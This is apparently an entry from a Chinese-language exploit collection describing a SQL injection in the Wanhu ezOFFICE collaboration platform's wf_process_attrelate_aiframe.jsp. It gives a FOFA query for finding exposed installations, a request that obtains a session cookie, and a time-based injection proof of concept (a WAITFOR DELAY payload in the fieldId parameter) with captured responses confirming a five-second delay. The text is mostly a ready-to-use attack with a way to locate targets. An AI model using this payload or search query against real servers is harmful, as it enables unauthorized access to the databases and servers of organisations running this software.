

W1-12万户-ezOffice-SQL

漏洞描述:

万户 ezOFFICE wf_process_attrelate_aiframe.jsp 存在SQL注入漏洞, 未授权的攻击者可利用此漏洞获取数据库权限, 深入利用可获取服务器权限。

网站图片:



网络测绘:

fofa语法:

FOFA: app="ezOFFICE协同管理平台"

漏洞复现:

payload:

```
GET /defaultroot/login.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: text/xml; charset=utf-8
Connection: close
```

效果图:

Request

< > 数据包扫描 热加载 构造请求

1 GET /defaultroot/login.jsp HTTP/1.1

2 Host: :7001

3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

4 Content-Type: text/xml; charset=utf-8

5 Connection: close

Responses 5274bytes / 62ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: OASESSIONID=C67049EC1EC38CCF

4 Cache-Control: no-store

5 Pragma: no-cache

6 Expires: Thu, 01 Jan 1970 00:00:00 GMT

7 Set-Cookie: Loclan=zh_CN; Expires=Sun, 1

8 Content-Type: text/html; charset=utf-8

9 Date: Sat, 20 Jan 2024 14:27:27 GMT

10 Connection: close

11 Content-Length: 5274

12

13

14 <!DOCTYPE html>

15

16

17

18

19

20

21

22

23

24

25

26

携带cookie进行注入

PoC

```
GET /defaultroot/platform/bpm/work_flow/process/wf_process_attrelate_aiframe.jsp?fieldId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: your-cookie
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

Request

< > 数据包扫描 热加载 构造请求

1 GET /defaultroot/platform/bpm/work_flow/process/wf_process_attrelate_aiframe.jsp?fieldId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

2 Host: :7001

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

5 Cookie: OASESSIONID=C67049EC1EC38CCF183C277974304282;

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.9

8 Connection: close

Responses 48bytes / 5062ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Cache-Control: no-store

4 Pragma: no-cache

5 Expires: Thu, 01 Jan 1970

6 Content-Type: text/html;

7 Date: Sat, 20 Jan 2024 14

8 Connection: close

9 Content-Length: 48

10

11

12

13

14

15

16

17

18

19

20